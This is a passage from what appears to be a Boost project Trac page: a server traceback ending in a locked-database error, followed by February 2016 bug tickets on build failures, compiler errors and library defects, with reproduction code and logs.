 '0_status': [u'assigned', u'new', u'reopened'],
 '__FORM_TOKEN': u'8e9714cb184b0eedee99acb4',
 'add_clause_1': u'',
 'add_filter_0': u'',
 'col': ['id', u'summary', u'status', u'type', u'milestone', u'component'],
 'group': u'',
 'max': u'100',
 'order': u'priority',
 'update': u'Update'}

User agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0

System Information

System information not available

Enabled Plugins

Plugin information not available

Python Traceback

Traceback (most recent call last):
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/web/main.py", line 511, in _dispatch_request
    dispatcher.dispatch(req)
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/web/main.py", line 237, in dispatch
    resp = chosen_handler.process_request(req)
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/ticket/query.py", line 925, in process_request
    req.redirect(query.get_href(req.href))
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/web/api.py", line 362, in redirect
    self.session.save() # has to be done before the redirect is sent
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/web/session.py", line 105, in save
    @self.env.with_transaction()
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/db/api.py", line 77, in transaction_wrapper
    fn(ldb)
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/web/session.py", line 140, in save_session
    """, (self.sid, authenticated))
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/db/util.py", line 65, in execute
    return self.cursor.execute(sql_escape_percent(sql), args)
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/db/sqlite_backend.py", line 78, in execute
    result = PyFormatCursor.execute(self, *args)
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/db/sqlite_backend.py", line 56, in execute
    args or [])
  File "/usr/lib/python2.6/site-packages/Trac-0.12.2-py2.6.egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error
    return function(self, *args, **kwargs)
OperationalError: database is locked

#12012: bost.MPI installation fail on Windows' 10

anastp@… — Sun, 21 Feb 2016 15:58:53 GMT

Followed boost.org instructions to install boost.MPI on Win' 10 without success.

Boost v. 1_60_0 successfully downloaded. Head files test run without problems.

Attached bootsrap.log file generated when I've tried to run boostrap.bat through command line

#12011: Boost.Regex always links against dynamic DLLs of ICU with MSVC

stathis@… — Sun, 21 Feb 2016 11:44:44 GMT

I found out there is no detection code of static ICU in the Regex (and Locale) Jamfiles.

I have blogged about the problem and solution here. To cut a long story short, sicuXX.lib files should be detected when static linking and also if the runtimes are static, instead of <linkflags>, the <archiveflags> feature should be used.

I have written a rough patch for my own use, which does that, but it may not be entirely clean for upstream. It is here though in case you decide to fix it properly.

It would be nice until (and if at all) this is fixed the documentation or at build time this limitation was made clear. Currently the user is left to believe he has a statically linked Boost against ICU.

I will try to improve my patch in the next iteration, but I'm still learning Boost.Build.

thanks.

#12009: Fix for Visual C++ C4267 'conditional expression is constant' warning

eyas.sharaiha@… — Fri, 19 Feb 2016 21:43:23 GMT

Not sure what the procedure is to submit a patch to ptr_container. According to StartModPatchAndPullReq, pull requests are now the "preferred" method of submitting patches. That said, the ptr_container repo doesn't seem to be maintained and there are 1-2 year old PRs sitting around.

I submitted this PR to fix a Visual C++ warning that still exists in the head of the develop version: https://github.com/boostorg/ptr_container/pull/7

What is the process for getting this merged?

#12008: Support Intel SSE instructions for CRC-32C

arkadiy_s@… — Fri, 19 Feb 2016 20:19:08 GMT

Please add separate typedef for boost::crc_optimal<32, 0x1EDC6F41, 0, 0, true, true> that will have specialization that use _mm_crc32_u* intrinsic on platforms that support it (maybe enable it by define)

http://stackoverflow.com/a/16623151/61505

#12007: Support Intel SSE instructions for CRC-32C

arkadiy_s@… — Fri, 19 Feb 2016 20:19:03 GMT

http://stackoverflow.com/a/16623151/61505

#12006: Compile error on Windows of boost/functional/hash/extensions.hpp

kilian.kilger@… — Fri, 19 Feb 2016 14:54:18 GMT

I use STLport 4.5.0 and Visual Studio 2013. I get the following compiler error:

base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::complex<_Tp> &)' : could not deduce template argument for 'const _STL::complex<_Tp> &' from 'const wchar_t'
        boost/functional/hash/extensions.hpp(64) : see declaration of 'boost::hash_value'
        boost/functional/hash/extensions.hpp(261) : while compiling class template member function 'size_t boost::hash<T>::operator ()(const T &) const'
        with
        [
            T=wchar_t
        ]
        boost/functional/hash/hash.hpp(313) : see reference to function template instantiation 'size_t boost::hash<T>::operator ()(const T &) const' being compiled
        with
        [
            T=wchar_t
        ]
        boost/functional/hash/hash.hpp(312) : see reference to class template instantiation 'boost::hash<T>' being compiled
        with
        [
            T=wchar_t
        ]
        boost\boost/functional/hash/hash.hpp(327) : see reference to function template instantiation 'void boost::hash_combine<wchar_t>(size_t &,const T &)' being compiled
        with
        [
            T=wchar_t
        ]
        boost/functional/hash/hash.hpp(386) : see reference to function template instantiation 'size_t boost::hash_range<const wchar_t*>(It,It)' being compiled
        with
        [
            It=const wchar_t *
        ]
        boost/functional/hash/hash.hpp(458) : see reference to function template instantiation 'size_t boost::hash_value<wchar_t,_STL::allocator<wchar_t>>(const _STL::basic_string<wchar_t,_STL::char_traits<wchar_t>,_STL::allocator<wchar_t>> &)' being compiled
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::multimap<_Key,_Tp,_Compare,_Alloc> &)' : could not deduce template argument for 'const _STL::multimap<_Key,_Tp,_Compare,_Alloc> &' from 'const wchar_t'
        boost\boost/functional/hash/extensions.hpp(61) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::map<_Key,_Tp,_Compare,_Alloc> &)' : could not deduce template argument for 'const _STL::map<_Key,_Tp,_Compare,_Alloc> &' from 'const wchar_t'
        boost\boost/functional/hash/extensions.hpp(59) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::multiset<_Key,_Compare,_Alloc> &)' : could not deduce template argument for 'const _STL::multiset<_Key,_Compare,_Alloc> &' from 'const wchar_t'
        boost\boost/functional/hash/extensions.hpp(57) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::set<_Key,_Compare,_Alloc> &)' : could not deduce template argument for 'const _STL::set<_Key,_Compare,_Alloc> &' from 'const wchar_t'
        boost\boost/functional/hash/extensions.hpp(55) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::deque<_Tp,_Alloc> &)' : could not deduce template argument for 'const _STL::deque<_Tp,_Alloc> &' from 'const wchar_t'
        boost\boost/functional/hash/extensions.hpp(53) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::list<_Tp,_Alloc> &)' : could not deduce template argument for 'const _STL::list<_Tp,_Alloc> &' from 'const wchar_t'
        boost\boost/functional/hash/extensions.hpp(51) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::vector<_Tp,_Alloc> &)' : could not deduce template argument for 'const _STL::vector<_Tp,_Alloc> &' from 'const wchar_t'
        boost\boost/functional/hash/extensions.hpp(49) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::pair<_T1,_T2> &)' : could not deduce template argument for 'const _STL::pair<_T1,_T2> &' from 'const wchar_t'
        boost\boost/functional/hash/extensions.hpp(47) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2893: Failed to specialize function template 'boost::hash_detail::float_numbers<T>::type boost::hash_value(T)'
        With the following template arguments:
        'T=wchar_t'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const _STL::basic_string<Ch,_STL::char_traits<_CharT>,A> &)' : could not deduce template argument for 'const _STL::basic_string<Ch,_STL::char_traits<_CharT>,A> &' from 'const wchar_t'
        boost\boost/functional/hash/hash.hpp(154) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(T (&)[N])' : could not deduce template argument for 'T (&)[N]' from 'const wchar_t'
        boost/functional/hash/hash.hpp(150) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(const T (&)[N])' : could not deduce template argument for 'const T (&)[N]' from 'const wchar_t'
        boost/functional/hash/hash.hpp(147) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2784: 'size_t boost::hash_value(T *const &)' : could not deduce template argument for 'T *const &' from 'const wchar_t'
        boost/functional/hash/hash.hpp(140) : see declaration of 'boost::hash_value'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2893: Failed to specialize function template 'boost::enable_if<boost::is_enum<T>,size_t>::type boost::hash_value(T)'
        With the following template arguments:
        'T=wchar_t'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2893: Failed to specialize function template 'boost::hash_detail::ulong_numbers<T>::type boost::hash_value(T)'
        With the following template arguments:
        'T=wchar_t'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2893: Failed to specialize function template 'boost::hash_detail::long_numbers<T>::type boost::hash_value(T)'
        With the following template arguments:
        'T=wchar_t'
base\boost\boost/functional/hash/extensions.hpp(262) : error C2893: Failed to specialize function template 'boost::hash_detail::basic_numbers<T>::type boost::hash_value(T)'
        With the following template arguments:
        'T=wchar_t'

If I set BOOST_NO_FUNCTION_TEMPLATE_ORDERING, I get a similar error.

I don't know where they come from. With old boost versions, it worked just fine. Do you have any clue?

Best regards, Kilian.

#12005: Install boost_context on CentOS 6

nguyenduong2010@… — Fri, 19 Feb 2016 14:25:56 GMT

I'm try to install HHVM on CentOS 6, but I've trouble with boost_context library:

- Build type not specified: cmake build type Release.
CMake Error at /usr/share/cmake/Modules/FindBoost.cmake:1138 (message):
  Unable to find the requested Boost libraries.
  Boost version: 1.60.0
  Boost include path: /usr/include
  Could not find the following Boost libraries:
          boost_context
  Some (but not all) of the required Boost libraries were found.  You may
  need to install these additional Boost libraries.  Alternatively, set
  BOOST_LIBRARYDIR to the directory containing Boost libraries or BOOST_ROOT
  to the location of Boost.
Call Stack (most recent call first):
  CMake/HPHPFindLibs.cmake:31 (find_package)
  CMake/HPHPSetup.cmake:127 (include)
  third-party/CMakeLists.txt:18 (include)

On CentOS 7, I can easily install by type: yum install boost-context So how can I install this boost_context library on CentOS 6?

Thank you very much!!

#12004: Boost 1.60 fails to build with VC14

anonymous — Fri, 19 Feb 2016 10:13:32 GMT

On a Windows 7.1 x64, from the Developer Command Prompt for VS2015 (*not* running as a privileged user):

C:\Users\user\Desktop\boost_1_60_0>cl
Microsoft (R) C/C++ Optimizing Compiler Version 19.00.23506 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.
usage: cl [ option... ] filename... [ /link linkoption... ]
C:\Users\user\Desktop\boost_1_60_0>bootstrap
Building Boost.Build engine
The system cannot find the file C:\Users\user\Desktop\boost_1_60_0\tools\bu
ild\src\engine\bootstrap\jam0.exe.
'.\bootstrap\jam0' is not recognized as an internal or external command,
operable program or batch file.
Failed to build Boost.Build engine.
Please consult bootstrap.log for further diagnostics.
You can try to obtain a prebuilt binary from
   http://sf.net/project/showfiles.php?group_id=7586&package_id=72941
Also, you can file an issue at http://svn.boost.org
Please attach bootstrap.log in that case.

I have attached bootstrap.log as requested, but as far as I can tell it's not very helpful, I am not sure what is going on.

I have attempted the same process from the VS2013 command prompt and it was successful. I have attempted the same process from the VS2015 command prompt with Boost 1.59 and it failed with the same error.

#11997: website multiple headers sent

damian.vicino@… — Wed, 17 Feb 2016 14:35:23 GMT

When accessing this address: https://svn.boost.org/trac/boost/wiki/GSoCIdeaTemplate?format=txt I got: ERR_RESPONSE_HEADERS_MULTIPLE_CONTENT_DISPOSITION There is a link to that address in: https://svn.boost.org/trac/boost/wiki/GSoCIdeaTemplate

#11991: Application crashes when yield/resume an coroutine after handing an exception

misko.pawel@… — Tue, 16 Feb 2016 19:03:21 GMT

#include <iostream>
#include <stdexcept>
#include <thread>
#include <boost/asio/io_service.hpp>
#include <boost/asio/spawn.hpp>
int main()
{
    using namespace boost::asio;
    using std::chrono::seconds;
    using yield_completion_t = detail::async_result_init< yield_context, void () >;
    io_service ios;
    spawn( ios, [&ios]( auto yield )
    {
        try
        {
            throw std::runtime_error{ "" };
        }
        catch( ... )
        {
            std::cerr << "[1] " << std::endl;
            yield_completion_t completion{ yield_context{ yield } };
            auto handler = completion.handler;
            ios.post( [=]
            {
                std::this_thread::sleep_for( seconds{ 1 } );
                asio_handler_invoke( handler, &handler );
            } );
            completion.result.get();
            std::cerr << "[2] " << std::endl;
        }
    } );
    // needs more than one thread
    std::thread t{ [&]{ ios.run(); } };
    ios.run();
    t.join();
    return 0;
}

Prints:

[1]
[2]

and crashes.

Debugger points to _FindAndUnlinkFrame (inside trnsctrl.cpp file): pCurFrameInfo->pNext causes AV because pCurFrameInfo is null.

VS 2015, Win7

#11990: interprocess_condition on OSX with processes in different address spaces

johughes@… — Tue, 16 Feb 2016 17:51:56 GMT

Under OSX (at least El Capitan), interprocess_condition does not work if shared between processes that map the shared condition and mutex variables into different address spaces. This is because the OSX pthreads condition implementation stores a raw pointer to the mutex used to wait.

Details and example code here: http://stackoverflow.com/questions/35305291/boost-interprocess-condition-multiple-threads-calling-wait-fails

#11989: gcc 5.3 optimizer mangles non_blocking_recvfrom

tmark@… — Tue, 16 Feb 2016 12:48:22 GMT

Our Kea project uses boost::asio. When compiled with gcc 5.3.1 and -O2, the optimizer is incorrectly removing tests, against a variable which can be changed, from one of the boost::asio functions.

The affected function is:

bool non_blocking_recvfrom(socket_type s,
    buf* bufs, size_t count, int flags,
    socket_addr_type* addr, std::size_t* addrlen,
    boost::system::error_code& ec, size_t& bytes_transferred)

in the file:

/usr/include/boost/asio/detail/impl/socket_ops.ipp

where the tests for "ec" shown below are optmized out:

     :
    // Retry operation if interrupted by signal.
    if (ec == boost::asio::error::interrupted)
      continue;
    // Check if we need to run the operation again.
    if (ec == boost::asio::error::would_block
        || ec == boost::asio::error::try_again)
      return false;
     :

This causes the function to always return true.

I have also opened a ticket with the good people at GCC, ticket #69789. This occurred with Boost 1.58, though I suspect the issue is present in 1.60 as the code for the function appears to be unchanged.

Additional information:

gcc --version output:

Using built-in specs. COLLECT_GCC=/usr/bin/gcc COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-redhat-linux/5.3.1/lto-wrapper Target: x86_64-redhat-linux Configured with: ../configure --enable-bootstrap --enable-languages=c,c++,objc,obj-c++,fortran,ada,go,lto --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --enable-checking=release --enable-multilib --with-system-zlib --enable-cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style=gnu --enable-plugin --enable-initfini-array --disable-libgcj --with-isl --enable-libmpx --enable-gnu-indirect-function --with-tune=generic --with-arch_32=i686 --build=x86_64-redhat-linux Thread model: posix gcc version 5.3.1 20151207 (Red Hat 5.3.1-2) (GCC)

OS info:

Linux fedora23-64-1 4.3.4-300.fc23.x86_64 #1 SMP Mon Jan 25 13:39:23 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

Compiler command line:

g++ -DHAVE_CONFIG_H -I. -I../../../.. -I../../../../src/lib -I../../../../src/lib -DTEST_DATA_DIR=\"./testdata\" -I/opt/gtest/gtest-1.7.0 -I/opt/gtest/gtest-1.7.0/include -DOS_LINUX -I../../../../ext/coroutine -DBOOST_ASIO_HEADER_ONLY -DBOOST_ASIO_DISABLE_THREADS=1 -DBOOST_ERROR_CODE_HEADER_ONLY -DBOOST_SYSTEM_NO_DEPRECATED -Wall -Wextra -Wnon-virtual-dtor -Wwrite-strings -Woverloaded-virtual -Wno-sign-compare -pthread -Werror -fPIC -Wno-missing-field-initializers -Wno-unused-parameter -g -O2 -save-temps -MT run_unittests-udp_socket_unittest.o -MD -MP -MF .deps/run_unittests-udp_socket_unittest.Tpo -c -o run_unittests-udp_socket_unittest.o test -f 'udp_socket_unittest.cc' || echo './'udp_socket_unittest.cc

#11986: TTI: has_static_member_function doesn't like function local classes with GCC

lukester_null@… — Mon, 15 Feb 2016 17:54:38 GMT

Not sure if this expected or known or impossible to fix, but it seems has_static_member_function doesn't work with function scope local classes in GCC (or clang; it's OK in VC++).

Personally, I only tripped over it writing a test so the fix was simple (no function scope class) but I thought best to report it.

Thanks

Luke Elliott.

#include <boost/tti/has_static_member_function.hpp>
#include <boost/static_assert.hpp>
BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION(StaticFunction)
int main()
{
    class Nested
    {
    public:
        static void StaticFunction()
        {
        }
    };
    BOOST_STATIC_ASSERT_MSG((has_static_member_function_StaticFunction<Nested, void ()>::value), "That's not gone well.");
}

#11985: range: compiler-error sub_range copy-constructor workaround for MSVC

Tobias Loew — Mon, 15 Feb 2016 09:32:02 GMT

Hi,

the following code generates an error when compiled with MSVC 11 (aka VS 2012)

    std::vector<int> arr;
    arr.push_back(42);
    boost::sub_range<std::vector<int>> ran = arr;
    boost::sub_range<std::vector<int>> ran_2 = ran;
    const boost::sub_range<std::vector<int>>& ran_ref = ran;
    boost::sub_range<std::vector<int>> ran_3 = ran_ref;

Error: libs\boost\boost\boost\range\iterator_range_core.hpp(69): error C2440: 'static_cast' : cannot convert from 'std::_Vector_const_iterator<_Myvec>' to 'std::_Vector_iterator<_Myvec>'

the reason is a BOOST_WORKAROUND(BOOST_MSVC, BOOST_TESTED_AT(1500) ) in boost/range/sub_range.hpp at line 183 if I comment out the workaround everything compiles correct.

Tobias

#11982: distance between point and linestring on spherical_equatorial ignores radius when using haversine.

anonymous — Fri, 12 Feb 2016 12:05:13 GMT

Distance between a point and a linestring is incorrect when using spherical_equatorial coordinates and haversine strategy. It looks like it is always using radius = 1.0.

Example:

#include <iostream>
#include <boost/geometry.hpp>
namespace bg = boost::geometry;
typedef bg::model::point<double, 2, bg::cs::spherical_equatorial<bg::degree> > pt;
typedef bg::model::linestring<pt> pt_line;
int main()
{
    const double earthRadius = 6371.0 * 1000.0;
    pt oslo(10.733557, 59.911923);
    pt sandvika(10.521812, 59.887214);
    pt trondheim(10.4, 63.43);
    // works correct
    double d1 = bg::distance(sandvika, trondheim, bg::strategy::distance::haversine<double>(earthRadius));
    double d2 = bg::distance(oslo, trondheim, bg::strategy::distance::haversine<double>(earthRadius));
    std::cout << "Sandvika-Trondheim " << d1 << std::endl;
    std::cout << "Oslo-Trondheim     " << d2 << std::endl;
    pt_line ll;
    ll.push_back(oslo);
    ll.push_back(sandvika);
    // Does not work
    double d3 = bg::distance(trondheim, ll, bg::strategy::distance::haversine<double>(earthRadius));
    std::cout << "Oslo-Sandvika - Trondheim " << d3 << std::endl;
    return 0;
}

Output:

Sandvika-Trondheim 393992
Oslo-Trondheim     391587
Oslo-Sandvika - Trondheim 0.0614639

Note that the last number differs with a factor of 6371000 from the correct 391587.

It looks like distance/backward_compatibility.hpp is ignoring the incoming strategy in last argument to apply.

#11981: boost::archive::xml_woarchive with locale dosen't work

anonymous — Fri, 12 Feb 2016 03:57:43 GMT

New locale library seems to have a bug. "Implemented generic codecvt facet and add general purpose utf8_codecvt facet"

#include <string>
#include <locale>
#include <fstream>
#include <boost/serialization/string.hpp>
#include <boost/serialization/nvp.hpp>
#include <boost/archive/xml_woarchive.hpp>
#include <boost/archive/xml_wiarchive.hpp>
int wmain(int argc, wchar_t* argv[])
{
    std::locale::global(std::locale("japanese"));
    std::wofstream wofs("output.xml");
    boost::archive::xml_woarchive oa(wofs);  // exception in 1.60
    oa << boost::serialization::make_nvp("string", std::string("日本語文字列"));
    wofs.close();
    std::string str;
    std::wifstream wifs("output.xml");
    boost::archive::xml_wiarchive ia(wifs);
    ia >> boost::serialization::make_nvp("string", str);
    wifs.close();
    return 0;
}

An exception occurs in boost 1.60 in Visual Studio 2013. "invalid multbyte/wide char conversion".

This exception doesn't occur in boost 1.59, but this code makes invalid xml. The encoding is not UTF-8 but SJIS.

In boost 1.57, it makes valid UTF-8 encoding xml.

#11980: Windows Phone Build Error

yigit.ozcelik@… — Thu, 11 Feb 2016 19:47:10 GMT

After adding given code block Visual Studio doesnt compile the project. Version is 1.66.0

boost::locale::generator g;
g.locale_cache_enabled(true);
std::locale loc = g(boost::locale::util::get_system_locale());
string t = boost::locale::conv::from_utf<char>(row.GetString(0), loc);

And this is the output:

libboost_locale-vc140-mt-gd-1_60.lib(default_locale.obj) : error LNK2019: unresolved external symbol impGetLocaleInfoA@16 referenced in function "class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > cdecl boost::locale::util::get_system_locale(bool)" (?get_system_locale@util@locale@boost@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@_N@Z)

3>libboost_locale-vc140-mt-gd-1_60.lib(std_backend.obj) : error LNK2001: unresolved external symbol impGetLocaleInfoA@16 3>libboost_locale-vc140-mt-gd-1_60.lib(lcid.obj) : error LNK2001: unresolved external symbol impGetLocaleInfoA@16 3>libboost_locale-vc140-mt-gd-1_60.lib(codepage.obj) : error LNK2019: unresolved external symbol impIsDBCSLeadByteEx@8 referenced in function "void cdecl boost::locale::conv::impl::multibyte_to_wide_one_by_one(int,char const *,char const *,class std::vector<wchar_t,class std::allocator<wchar_t> > &)" (?multibyte_to_wide_one_by_one@impl@conv@locale@boost@@YAXHPBD0AAV?$vector@_WV?$allocator@_W@std@@@std@@@Z) 3>libboost_locale-vc140-mt-gd-1_60.lib(lcid.obj) : error LNK2019: unresolved external symbol impEnumSystemLocalesA@8 referenced in function catch$?proc@impl_win@locale@boost@@YGHPAD@Z$0 3>libboost_locale-vc140-mt-gd-1_60.lib(converter.obj) : error LNK2019: unresolved external symbol impFoldStringW@20 referenced in function "class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > cdecl boost::locale::impl_win::wcsnormalize(enum boost::locale::norm_type,wchar_t const *,wchar_t const *)" (?wcsnormalize@impl_win@locale@boost@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@W4norm_type@23@PB_W1@Z) 3>libboost_locale-vc140-mt-gd-1_60.lib(converter.obj) : error LNK2019: unresolved external symbol impLCMapStringW@24 referenced in function "class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > cdecl boost::locale::impl_win::win_map_string_l(unsigned int,wchar_t const *,wchar_t const *,class boost::locale::impl_win::winlocale const &)" (?win_map_string_l@impl_win@locale@boost@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@IPB_W0ABVwinlocale@123@@Z) 3>libboost_locale-vc140-mt-gd-1_60.lib(collate.obj) : error LNK2001: unresolved external symbol impLCMapStringW@24 3>libboost_locale-vc140-mt-gd-1_60.lib(collate.obj) : error LNK2019: unresolved external symbol impCompareStringW@24 referenced in function "int cdecl boost::locale::impl_win::wcscoll_l(enum boost::locale::collator_base::level_type,wchar_t const *,wchar_t const *,wchar_t const *,wchar_t const *,class boost::locale::impl_win::winlocale const &)" (?wcscoll_l@impl_win@locale@boost@@YAHW4level_type@collator_base@23@PB_W111ABVwinlocale@123@@Z) 3>libboost_locale-vc140-mt-gd-1_60.lib(numeric.obj) : error LNK2019: unresolved external symbol impGetDateFormatW@24 referenced in function "class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > cdecl boost::locale::impl_win::wcs_format_date_l(wchar_t const *,struct _SYSTEMTIME const *,class boost::locale::impl_win::winlocale const &)" (?wcs_format_date_l@impl_win@locale@boost@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PB_WPBU_SYSTEMTIME@@ABVwinlocale@123@@Z) 3>libboost_locale-vc140-mt-gd-1_60.lib(numeric.obj) : error LNK2019: unresolved external symbol impGetTimeFormatW@24 referenced in function "class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > cdecl boost::locale::impl_win::wcs_format_time_l(wchar_t const *,struct _SYSTEMTIME const *,class boost::locale::impl_win::winlocale const &)" (?wcs_format_time_l@impl_win@locale@boost@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PB_WPBU_SYSTEMTIME@@ABVwinlocale@123@@Z) 3>libboost_locale-vc140-mt-gd-1_60.lib(numeric.obj) : error LNK2019: unresolved external symbol impGetLocaleInfoW@16 referenced in function "struct boost::locale::impl_win::numeric_info cdecl boost::locale::impl_win::wcsnumformat_l(class boost::locale::impl_win::winlocale const &)" (?wcsnumformat_l@impl_win@locale@boost@@YA?AUnumeric_info@123@ABVwinlocale@123@@Z) 3>libboost_locale-vc140-mt-gd-1_60.lib(numeric.obj) : error LNK2019: unresolved external symbol impGetCurrencyFormatW@24 referenced in function "class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > cdecl boost::locale::impl_win::wcsfmon_l(double,class boost::locale::impl_win::winlocale const &)" (?wcsfmon_l@impl_win@locale@boost@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@NABVwinlocale@123@@Z) 3>libboost_system-vc140-mt-gd-1_60.lib(error_code.obj) : error LNK2019: unresolved external symbol impLocalFree@4 referenced in function "public: thiscall boost::system::detail::local_free_on_destruction::~local_free_on_destruction(void)" (??1local_free_on_destruction@detail@system@boost@@QAE@XZ)

#11979: Wiki page has broken link to building Python

gamesbook@… — Thu, 11 Feb 2016 10:13:28 GMT

http://www.boost.org/doc/libs/1_60_0/more/getting_started/unix-variants.html

Contains multiple links to http://www.boost.org/doc/libs/1_60_0/libs/python/doc/building.html (eg. via Boots.Python) - but the link to broken.

#11978: Bootstrap generates errors

bram.de.beer@… — Thu, 11 Feb 2016 09:44:51 GMT

Running bootstrap results in an error: "'cl' not recognized as an internal or external command, operable program or batch file".

Upon searching the bug reports, I found: "bootstrap.bat mingw", which should have solved the problem. It did, but I got the same error for 'gcc', instead of 'cl' and couldn't find a way to fix that one.

Is there anything I can do / should change to get this to work?

I'm executing the file as administrator in the "Developer Command Prompt for VS2015".

#11976: compile error when BOOST_UBLAS_SCALED_NORM is defined

Thu, 11 Feb 2016 02:30:18 GMT

When BOOST_UBLAS_SCALED_NORM is defined, compiler says the following message.

boost-1.60.0/include/boost/numeric/ublas/functional.hpp:448:13: error: 'size_type' was not declared in this scope.

I show wrong and correct code (I suppose) as bellow.

Wrong:

size_type size(e().size());
for (size_type i = 0; i < size; ++i) {

Correct:

typedef typename E::size_type vector_size_type;
vector_size_type size(e().size());
for (vector_size_type i = 0; i < size; ++i) {

From what I've seen so far, this is not fixed in version 1.35.0 ~ 1.60.0.

#11975: Null pointer dereference in boost::filesystem::copy

Wed, 10 Feb 2016 15:58:41 GMT

When calling the exception version of boost::filesystem::copy a null pointer is dereferenced.

Testcase:

#include <boost/filesystem.hpp>
int main()
{
    boost::filesystem::copy("/does/not/matter", "/neither/does/this");
}

Using the undefined behaviour sanitizer in clang 3.6.2-1 or g++5.2.1 (-fsanitize=undefined) gives the following message:

boost_1_60_0/libs/filesystem/src/operations.cpp:879:40: runtime error: reference binding to null pointer of type 'system::error_code'

Callstack:

#0  boost::filesystem::detail::copy (from=..., to=..., ec=0x0) at boost_1_60_0/libs/filesystem/src/operations.cpp:879
#1  0x0000000000441421 in boost::filesystem::copy (from=..., to=...) at boost_1_60_0/boost/filesystem/operations.hpp:524
#2  0x000000000044013e in main () at boost_filesystem_copy_bug.cpp:5

It does not appear to have been fixed in the trunk version as far as I can tell.

It also seems to be close in kind to #10450, so a review to see if other null pointer dereferences are lurking elsewhere might be in order.

#11973: Can't work with date_time library

markus.zaczek@… — Wed, 10 Feb 2016 11:42:13 GMT

Whenever i instantiate an object of the boost::date_time library i get an error in my application. I'm using VC7.1 compiler. To be sure that i'm not using anything wrong i also tried to compile the shipped tutorial file: "boost_1_60_0\libs\date_time\example\tutorial\io_tutorial.cpp". The error stays the same.

Operating system: Windows Server 2008 R2 Standard

Here is what i did: b2 link=shared threading=multi variant=release

cl /Od /I "D:\tools
boost_1_60_0" /D "WIN32" /D "_DEBUG" /D "_WINDLL" /Gm /EHsc /RTC1 /MDd /GS /GR /Fo"Debug/" /W3 /nologo /c /Wp64 /TP io_tutorial.cpp >> error.log

In file: error.log io_tutorial.cpp D:\tools
boost_1_60_0\boost\range\mutable_iterator.hpp(37) : error C2146: Syntaxfehler: Fehlendes ';' vor Bezeichner 'type'

D:\tools
boost_1_60_0\boost\range\mutable_iterator.hpp(43): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::range_detail::extract_iterator<C>' with [

C=boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type

] D:\tools
boost_1_60_0\boost\range\has_range_iterator.hpp(27): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::range_detail::range_mutable_iterator<C>' with [

C=boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type

] D:\tools
